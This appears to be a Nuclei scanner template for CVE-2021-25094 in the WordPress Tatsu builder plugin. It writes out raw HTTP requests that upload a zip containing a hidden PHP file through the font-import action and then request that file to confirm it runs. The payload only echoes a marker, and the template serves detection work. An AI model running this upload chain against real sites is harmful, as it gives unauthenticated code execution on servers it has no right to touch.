70 lines
2.4 KiB
YAML
70 lines
2.4 KiB
YAML
id: CVE-2021-25094
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info:
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name: Wordpress Tatsubuilder <= 3.3.11 - Remote Code Execution
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author: iamnoooob,rootxharsh,pdresearch
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severity: high
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description: |
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An unrestricted file upload in WordPress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in the font import feature and put 100,000 websites at risk.
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remediation: Fixed in 3.3.12
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reference:
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- https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/
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- https://wpscan.com/vulnerability/fb0097a0-5d7b-4e5b-97de-aacafa8fffcd/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25094
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.1
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cve-id: CVE-2021-25094
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cwe-id: CWE-306
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cpe: cpe:2.3:a:brandexponents:tatsu:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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verified: true
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publicwww-query: "/wp-content/plugins/tatsu/"
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tags: cve,cve2021,wp,wp-plugin,wordpress,tatsu,rce
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variables:
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marker: "{{randstr}}"
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b64marker: "{{base64(marker)}}"
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filename: "{{rand_base(5)}}"
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flow: http(1) && http(2)
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http:
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- raw:
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data; boundary=a8bfdd88f26f754c25496d0dd4962d38
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--a8bfdd88f26f754c25496d0dd4962d38
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Content-Disposition: form-data; name="action"
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add_custom_font
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--a8bfdd88f26f754c25496d0dd4962d38
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Content-Disposition: form-data; name="file"; filename="{{filename}}.zip"
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{{zip('.{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
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--a8bfdd88f26f754c25496d0dd4962d38--
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matchers:
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- type: word
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part: body
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words:
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- '"name":"{{to_lower(filename)}}"'
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- '"status":"success'
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condition: and
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internal: true
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- raw:
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- |
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GET /wp-content/uploads/typehub/custom/{{to_lower(filename)}}/.{{filename}}.php HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: word
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part: body
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words:
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- '{{marker}}'
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# digest: 4a0a004730450220153fe42d9da3230c1e66329688aee8ce542c7c24b46f0e7ff23f0e5a762f5d6f02210096f12035f098a1e3ffc3458060ff7c66d5464327f5800f1c78df9add13efe4fb:922c64590222798bb761d5b6d8e72950 |